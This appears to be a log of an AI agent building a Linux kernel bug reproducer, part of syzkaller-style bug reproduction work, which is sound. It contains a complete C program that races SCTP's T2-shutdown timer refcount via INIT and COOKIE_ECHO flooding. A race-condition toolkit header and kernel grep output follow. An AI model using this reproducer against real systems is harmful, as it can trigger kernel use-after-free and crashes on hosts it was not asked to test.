An analysis of the SCTP state machine and the feedback provided reveals that the race condition occurs when `SCTP_CMD_TIMER_START` is executed for a timer that is already pending. The feedback specifically suggests triggering this by flooding duplicate `COOKIE_ECHO` chunks while the server is in the `SHUTDOWN_SENT` state.

To achieve this without relying on raw sockets, we can exploit SCTP's tie-tag mechanism and `SO_REUSEPORT`:
1. **Establish Association & Fill Window**: We connect a client to the server and send a large amount of data. By setting the server's `SO_RCVBUF` to 0, the server advertises a tiny receive window. The client's data fills this window, leaving the rest of the data stuck in the client's outqueue.
2. **Enter SHUTDOWN_SENT**: The server calls `shutdown(fd, SHUT_WR)`. This sends a `SHUTDOWN` chunk to the client and puts the server in the `SHUTDOWN_SENT` state (starting the `T2_SHUTDOWN` timer). Because the client still has data in its outqueue, it enters `SHUTDOWN_RECEIVED` but **does not** reply with a `SHUTDOWN_ACK`. This keeps the server permanently in `SHUTDOWN_SENT`.
3. **Trigger Action A**: The client spawns multiple threads that create new `SOCK_SEQPACKET` sockets with `SO_REUSEPORT`, bind to the exact same client IP and port, and call `sendto()` to the server. 
   - Each `sendto()` sends a new `INIT` chunk.
   - The server receives the `INIT`. Since it matches the existing association (same IP/port), it processes it as an unexpected `INIT` and replies with an `INIT_ACK` containing a cookie with tie-tags matching the existing association.
   - The new client socket receives the `INIT_ACK` and automatically replies with a `COOKIE_ECHO`.
   - The server receives the `COOKIE_ECHO`. The tie-tags match, triggering **Action A** (Association Restart).
   - Because the server is in `SHUTDOWN_SENT` and the socket is closing, Action A calls `sctp_sf_do_9_2_start_shutdown`, which executes `SCTP_CMD_TIMER_START` for the `T2_SHUTDOWN` timer.
4. **Hit the Race**: Since the `T2_SHUTDOWN` timer is already pending, this perfectly hits the vulnerable `timer_pending()` check in `sctp_cmd_interpreter`. By setting the RTO to 10ms, the timer fires constantly, maximizing the chance of hitting the instruction-level race window.

Here is the complete C reproducer:

```c
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/resource.h>

#include "race_toolkit.h"

int server_fd;
struct sockaddr_in addr;
struct sockaddr_in client_addr;

void *client_thread(void *arg) {
    char buf[1024] = {0};
    while (1) {
        int fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
        if (fd < 0) break;
        
        int opt = 1;
        setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt));
        bind(fd, (struct sockaddr *)&client_addr, sizeof(client_addr));
        
        int flags = fcntl(fd, F_GETFL, 0);
        fcntl(fd, F_SETFL, flags | O_NONBLOCK);
        
        /* 
         * Implicit connect + queue data.
         * Sends an INIT. The server replies with INIT_ACK (with tie-tags).
         * This socket then sends COOKIE_ECHO, triggering Action A on the server.
         */
        sendto(fd, buf, sizeof(buf), 0, (struct sockaddr *)&addr, sizeof(addr));
        
        /* Leak the fd to prevent it from sending an ABORT chunk which would destroy the association */
        usleep(1000);
    }
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    /* Increase fd limit so we can safely leak fds in the threads */
    struct rlimit rl;
    rl.rlim_cur = 65536;
    rl.rlim_max = 65536;
    setrlimit(RLIMIT_NOFILE, &rl);

    server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    
    /* Set RTO to minimum to make T2_SHUTDOWN fire rapidly */
    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 10;
    rtoinfo.srto_min = 10;
    rtoinfo.srto_max = 10;
    setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo));

    /* Set SO_RCVBUF to 0 to advertise a tiny window */
    int rcvbuf = 0;
    setsockopt(server_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf));

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    bind(server_fd, (struct sockaddr *)&addr, sizeof(addr));
    listen(server_fd, 10);

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    int opt = 1;
    setsockopt(client_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt));
    
    memset(&client_addr, 0, sizeof(client_addr));
    client_addr.sin_family = AF_INET;
    client_addr.sin_port = htons(54321);
    client_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    bind(client_fd, (struct sockaddr *)&client_addr, sizeof(client_addr));

    connect(client_fd, (struct sockaddr *)&addr, sizeof(addr));

    int accepted_fd = accept(server_fd, NULL, NULL);
    setsockopt(accepted_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo));

    /* Set non-blocking so we can fill the outqueue */
    int flags = fcntl(client_fd, F_GETFL, 0);
    fcntl(client_fd, F_SETFL, flags | O_NONBLOCK);
    
    /* 
     * Send a large message from client to fill the server's receive window.
     * The unacknowledged data stays in the client's outqueue, preventing it
     * from sending a SHUTDOWN_ACK when it receives the server's SHUTDOWN.
     */
    char *large_buf = malloc(1024 * 1024);
    memset(large_buf, 'A', 1024 * 1024);
    send(client_fd, large_buf, 1024 * 1024, 0);

    usleep(100000);

    /* Shutdown the server socket to enter SHUTDOWN_SENT state */
    shutdown(accepted_fd, SHUT_WR);

    /* Start threads to spam INITs from the same client IP:port */
    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, NULL);
    }

    /* Let the race run for a few seconds */
    sleep(5);

    return 0;
}
```

gemini-3.1-pro-preview

							input: 7615
							output: 16
							thoughts: 340
						

**Refcount Bug in `sctp_generate_timeout_event`: A Deep Dive into Reproducing the TOCTOU Race**

I've identified a subtle reference counting bug within `sctp_generate_timeout_event`. The root cause lies in a Time-Of-Check, Time-Of-Use (TOCTOU) race condition occurring in the `sctp_cmd_interpreter` function when handling the `SCTP_CMD_TIMER_START` command.

The problematic code snippet is:

```c
    if (!timer_pending(timer))
        sctp_association_hold(asoc);
    timer_reduce(timer, jiffies + timeout);
```

My analysis reveals that if the timer in question fires precisely between the `timer_pending` check and the `timer_reduce` call, a race condition can occur. In this scenario, `timer_reduce` will initiate the timer without first acquiring a necessary reference on the associated data structure. This, of course, leads to a potential use-after-free or other refcount-related corruption down the line.

The previous attempt to reproduce this bug involved using `sctp_bindx` to force ASCONF chunks and the `T4_RTO` timer. However, this approach proved insufficient in consistently triggering the race. The feedback I've received points towards a more targeted strategy: "To improve the reproducer, you would need to flood the socket with events that trigger `SCTP_CMD_TIMER_START` on an already pending timer (e.g., flooding duplicate `COOKIE_ECHO` chunks while in `SHUTDOWN_SENT` state) to increase the probability of hitting the instruction-level race window with the timer expiration." This suggests that I need to engineer a scenario where a timer is already active, and then bombard the system with requests that attempt to restart it, thereby increasing the chances of the timer expiring *during* the critical check-and-set window.

This brings me to a crucial question: how can I reliably trigger this race? My initial thoughts turned to kernel-level tools like BPF, or perhaps `userfaultfd`, but these are not applicable to the kernel code I'm dealing with. I also considered the `race` toolkit for its ability to spin-wait or pin threads, but without a mechanism to explicitly widen the race window through something like BPF, it seemed limited.

However, upon further consideration of the `race` toolkit, I realized its potential. I can leverage it to carefully control thread execution, specifically by pinning them to particular CPUs and synchronizing their operations. This granular control over thread scheduling is precisely what I need to orchestrate the precise timing required to hit the race condition. My next step is to delve deeper into the `race` toolkit's capabilities to implement this synchronized execution strategy.

map[Name:race]

map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }
]

gemini-3.1-pro-preview

							input: 9637
							output: 41
							thoughts: 75
						

**My Thought Process Regarding the Feedback and `COOKIE_ECHO` in `SHUTDOWN_SENT`**

The core of this feedback points to a potential vulnerability: overwhelming the socket with events that, in turn, attempt to initiate an `SCTP_CMD_TIMER_START` command when a timer is *already* pending. This is a rather specific scenario, and my immediate thought is to trace the implications of such a state.

To concretize this, the example provided is quite illustrative: flooding with duplicate `COOKIE_ECHO` chunks while the SCTP connection is in the `SHUTDOWN_SENT` state. This immediately triggers a need to delve into the state machine and understand precisely how `COOKIE_ECHO` chunks are processed when the association is in this particular `SHUTDOWN_SENT` phase. My mental model is to pull up the SCTP RFC, specifically focusing on the state transitions and event handlers for `SHUTDOWN_SENT`. I need to ascertain if receiving a `COOKIE_ECHO` in this state is even a valid or expected event, and if it is, what the defined behavior is. The concern is that if the implementation naively tries to restart a timer (or create a new one that clashes with an existing one) under these conditions, it could lead to a resource exhaustion or a denial-of-service situation. I'll be looking for any explicit mentions of timer management within the `SHUTDOWN_SENT` state's `COOKIE_ECHO` handling logic.

log-in to see details

map[Expression:SCTP_CMD_TIMER_START PathPrefix:net/sctp/sm_statef.c]

map[Output:]

gemini-3.1-pro-preview

							input: 9751
							output: 35
							thoughts: 55
						

**A Moment of Revelation in SCTP State Management**

Ah, there it is! I just had a flash of insight while reviewing the SCTP state machine implementation. I was tracing a particular flow and a question popped into my head: where exactly is the `SCTP_CMD_TIMER_START` command being utilized within the SCTP module? It's a crucial command for managing retransmissions and acknowledgements, so understanding its context is key. My immediate instinct was to dive deeper into the source code, specifically within the `net/sctp/sm_statef.c` file, as that's where the state machine logic is primarily handled. Without hesitation, I initiated a comprehensive search for `SCTP_CMD_TIMER_START` across the entire `net/sctp/` directory. I'm eager to see all the instances where this timer-starting command is invoked, as it will undoubtedly illuminate the precise mechanisms by which SCTP regulates its various timed operations. This search is the next logical step in my analysis, allowing me to connect the abstract concept of a timer command to its concrete application in the code.

map[Expression:SCTP_CMD_TIMER_START PathPrefix:net/sctp/]

map[Output:net/sctp/sm_sideeffect.c=1275=static int sctp_cmd_interpreter(enum sctp_event_type event_type,
--
net/sctp/sm_sideeffect.c-1535-
net/sctp/sm_sideeffect.c:1536:		case SCTP_CMD_TIMER_START_ONCE:
net/sctp/sm_sideeffect.c-1537-			timer = &asoc->timers[cmd->obj.to];
--
net/sctp/sm_sideeffect.c-1542-
net/sctp/sm_sideeffect.c:1543:		case SCTP_CMD_TIMER_START:
net/sctp/sm_sideeffect.c-1544-			timer = &asoc->timers[cmd->obj.to];
--
net/sctp/sm_statefuns.c=521=enum sctp_disposition sctp_sf_do_5_1C_ack(struct net *net,
--
net/sctp/sm_statefuns.c-622-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
net/sctp/sm_statefuns.c:623:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-624-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
--
net/sctp/sm_statefuns.c=703=enum sctp_disposition sctp_sf_do_5_1D_ce(struct net *net,
--
net/sctp/sm_statefuns.c-883-	if (new_asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c:884:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-885-				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
--
net/sctp/sm_statefuns.c=938=enum sctp_disposition sctp_sf_do_5_1E_ca(struct net *net,
--
net/sctp/sm_statefuns.c-984-	if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c:985:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-986-				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
--
net/sctp/sm_statefuns.c=2577=static enum sctp_disposition sctp_sf_do_5_2_6_stale(
--
net/sctp/sm_statefuns.c-2651-			SCTP_STATE(SCTP_STATE_COOKIE_WAIT));
net/sctp/sm_statefuns.c:2652:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-2653-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
--
net/sctp/sm_statefuns.c=5021=enum sctp_disposition sctp_sf_do_prm_asoc(struct net *net,
--
net/sctp/sm_statefuns.c-5062-	 */
net/sctp/sm_statefuns.c:5063:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5064-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
--
net/sctp/sm_statefuns.c=5573=enum sctp_disposition sctp_sf_do_prm_asconf(struct net *net,
--
net/sctp/sm_statefuns.c-5582-	sctp_add_cmd_sf(commands, SCTP_CMD_SETUP_T4, SCTP_CHUNK(chunk));
net/sctp/sm_statefuns.c:5583:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5584-			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
--
net/sctp/sm_statefuns.c=5664=enum sctp_disposition sctp_sf_do_9_2_start_shutdown(
--
net/sctp/sm_statefuns.c-5688-	/* It shall then start the T2-shutdown timer */
net/sctp/sm_statefuns.c:5689:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5690-			SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
--
net/sctp/sm_statefuns.c=5836=enum sctp_disposition sctp_sf_do_6_3_3_rtx(struct net *net,
--
net/sctp/sm_statefuns.c-5858-			 */
net/sctp/sm_statefuns.c:5859:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START_ONCE,
net/sctp/sm_statefuns.c-5860-				SCTP_TO(SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD));
]

gemini-3.1-pro-preview

							input: 11395
							output: 36
							thoughts: 118
						

**My Thought Process Regarding SCTP Timer Management in SHUTDOWN_SENT State**

Okay, so my initial point of inquiry was to understand how SCTP timers, specifically `SCTP_CMD_TIMER_START`, are utilized within the network stack, and I've pinpointed its usage in `net/sctp/sm_statefuns.c`. Naturally, my next step was to delve into the state functions, and `sctp_sf_do_5_1D_ce`, which is responsible for handling `COOKIE_ECHO` chunks, seemed like a prime candidate for investigating timer activation. I was looking to see if this particular state function initiated any timers.

However, a crucial piece of feedback has just come in, and it redirects my focus quite significantly. The feedback explicitly mentions "flooding duplicate COOKIE_ECHO chunks while in SHUTDOWN_SENT state." This immediately brings to mind the behavior of `COOKIE_ECHO` handling specifically when the SCTP connection is in the `SHUTDOWN_SENT` state. Therefore, my current and most pressing line of thought is to meticulously examine how the `COOKIE_ECHO` processing is implemented within that very `SHUTDOWN_SENT` state. This is where the potential issue of excessive duplicate `COOKIE_ECHO` chunks arises, and understanding the timer behavior in this specific context is paramount to diagnosing and resolving it.

map[Expression:COOKIE_ECHO PathPrefix:net/sctp/sm_statetable.c]

map[Output:net/sctp/sm_statetable.c=65=const struct sctp_sm_table_entry *sctp_sm_lookup_event(
--
net/sctp/sm_statetable.c-95-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
net/sctp/sm_statetable.c:96:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-97-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
--
net/sctp/sm_statetable.c-114-	TYPE_SCTP_FUNC(sctp_sf_do_5_2_1_siminit), \
net/sctp/sm_statetable.c:115:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-116-	TYPE_SCTP_FUNC(sctp_sf_do_5_2_1_siminit), \
--
net/sctp/sm_statetable.c-133-	TYPE_SCTP_FUNC(sctp_sf_do_5_1C_ack), \
net/sctp/sm_statetable.c:134:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-135-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
--
net/sctp/sm_statetable.c-152-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
net/sctp/sm_statetable.c:153:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-154-	TYPE_SCTP_FUNC(sctp_sf_eat_sack_6_2), \
--
net/sctp/sm_statetable.c-171-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
net/sctp/sm_statetable.c:172:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-173-	TYPE_SCTP_FUNC(sctp_sf_beat_8_3), \
--
net/sctp/sm_statetable.c-191-	TYPE_SCTP_FUNC(sctp_sf_violation), \
net/sctp/sm_statetable.c:192:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-193-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
--
net/sctp/sm_statetable.c-210-	TYPE_SCTP_FUNC(sctp_sf_cookie_wait_abort), \
net/sctp/sm_statetable.c:211:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-212-	TYPE_SCTP_FUNC(sctp_sf_cookie_echoed_abort), \
--
net/sctp/sm_statetable.c-229-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
net/sctp/sm_statetable.c:230:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-231-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
--
net/sctp/sm_statetable.c-248-	TYPE_SCTP_FUNC(sctp_sf_do_8_5_1_E_sa), \
net/sctp/sm_statetable.c:249:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-250-	TYPE_SCTP_FUNC(sctp_sf_do_8_5_1_E_sa), \
--
net/sctp/sm_statetable.c-267-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
net/sctp/sm_statetable.c:268:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-269-	TYPE_SCTP_FUNC(sctp_sf_cookie_echoed_err), \
--
net/sctp/sm_statetable.c-281-
net/sctp/sm_statetable.c:282:#define TYPE_SCTP_COOKIE_ECHO { \
net/sctp/sm_statetable.c-283-	/* SCTP_STATE_CLOSED */ \
--
net/sctp/sm_statetable.c-286-	TYPE_SCTP_FUNC(sctp_sf_do_5_2_4_dupcook), \
net/sctp/sm_statetable.c:287:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-288-	TYPE_SCTP_FUNC(sctp_sf_do_5_2_4_dupcook), \
--
net/sctp/sm_statetable.c-298-	TYPE_SCTP_FUNC(sctp_sf_do_5_2_4_dupcook), \
net/sctp/sm_statetable.c:299:} /* TYPE_SCTP_COOKIE_ECHO */
net/sctp/sm_statetable.c-300-
--
net/sctp/sm_statetable.c-305-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
net/sctp/sm_statetable.c:306:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-307-	TYPE_SCTP_FUNC(sctp_sf_do_5_1E_ca), \
--
net/sctp/sm_statetable.c-324-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
net/sctp/sm_statetable.c:325:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-326-	TYPE_SCTP_FUNC(sctp_sf_do_ecne), \
--
net/sctp/sm_statetable.c-343-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
net/sctp/sm_statetable.c:344:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-345-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
--
net/sctp/sm_statetable.c-362-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
net/sctp/sm_statetable.c:363:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-364-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
--
net/sctp/sm_statetable.c=383=chunk_event_table[SCTP_NUM_BASE_CHUNK_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-393-	TYPE_SCTP_ERROR,
net/sctp/sm_statetable.c:394:	TYPE_SCTP_COOKIE_ECHO,
net/sctp/sm_statetable.c-395-	TYPE_SCTP_COOKIE_ACK,
--
net/sctp/sm_statetable.c-405-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
net/sctp/sm_statetable.c:406:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-407-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
--
net/sctp/sm_statetable.c-424-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
net/sctp/sm_statetable.c:425:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-426-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
--
net/sctp/sm_statetable.c=443=addip_chunk_event_table[SCTP_NUM_ADDIP_CHUNK_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-452-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
net/sctp/sm_statetable.c:453:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-454-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
--
net/sctp/sm_statetable.c=471=prsctp_chunk_event_table[SCTP_NUM_PRSCTP_CHUNK_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-479-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
net/sctp/sm_statetable.c:480:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-481-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
--
net/sctp/sm_statetable.c=498=reconf_chunk_event_table[SCTP_NUM_RECONF_CHUNK_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-506-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
net/sctp/sm_statetable.c:507:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-508-	TYPE_SCTP_FUNC(sctp_sf_eat_auth), \
--
net/sctp/sm_statetable.c=530=pad_chunk_event_table[SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-534-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk),
net/sctp/sm_statetable.c:535:	/* SCTP_STATE_COOKIE_ECHOED */
net/sctp/sm_statetable.c-536-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk),
--
net/sctp/sm_statetable.c=550=chunk_event_table_unknown[SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-554-	TYPE_SCTP_FUNC(sctp_sf_unk_chunk),
net/sctp/sm_statetable.c:555:	/* SCTP_STATE_COOKIE_ECHOED */
net/sctp/sm_statetable.c-556-	TYPE_SCTP_FUNC(sctp_sf_unk_chunk),
--
net/sctp/sm_statetable.c-574-	TYPE_SCTP_FUNC(sctp_sf_not_impl), \
net/sctp/sm_statetable.c:575:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-576-	TYPE_SCTP_FUNC(sctp_sf_not_impl), \
--
net/sctp/sm_statetable.c-593-	TYPE_SCTP_FUNC(sctp_sf_cookie_wait_prm_shutdown), \
net/sctp/sm_statetable.c:594:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-595-	TYPE_SCTP_FUNC(sctp_sf_cookie_echoed_prm_shutdown),\
--
net/sctp/sm_statetable.c-612-	TYPE_SCTP_FUNC(sctp_sf_cookie_wait_prm_abort), \
net/sctp/sm_statetable.c:613:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-614-	TYPE_SCTP_FUNC(sctp_sf_cookie_echoed_prm_abort), \
--
net/sctp/sm_statetable.c-631-	TYPE_SCTP_FUNC(sctp_sf_do_prm_send), \
net/sctp/sm_statetable.c:632:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-633-	TYPE_SCTP_FUNC(sctp_sf_do_prm_send), \
--
net/sctp/sm_statetable.c-650-	TYPE_SCTP_FUNC(sctp_sf_do_prm_requestheartbeat),          \
net/sctp/sm_statetable.c:651:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-652-	TYPE_SCTP_FUNC(sctp_sf_do_prm_requestheartbeat),          \
--
net/sctp/sm_statetable.c-669-	TYPE_SCTP_FUNC(sctp_sf_error_closed), \
net/sctp/sm_statetable.c:670:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-671-	TYPE_SCTP_FUNC(sctp_sf_error_closed), \
--
net/sctp/sm_statetable.c-688-	TYPE_SCTP_FUNC(sctp_sf_error_closed), \
net/sctp/sm_statetable.c:689:	/* SCTP_STATE_COOKIE_ECHOED */ \
net/sctp/sm_statetable.c-690-	TYPE_SCTP_FUNC(sctp_sf_error_closed), \
--
net/sctp/sm_statetable.c=707=primitive_event_table[SCTP_NUM_PRIMITIVE_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-721-	TYPE_SCTP_FUNC(sctp_sf_ignore_other), \
net/sctp/sm_statetable.c:722:	/* SCTP_STATE_COOKIE_ECHOED */ \
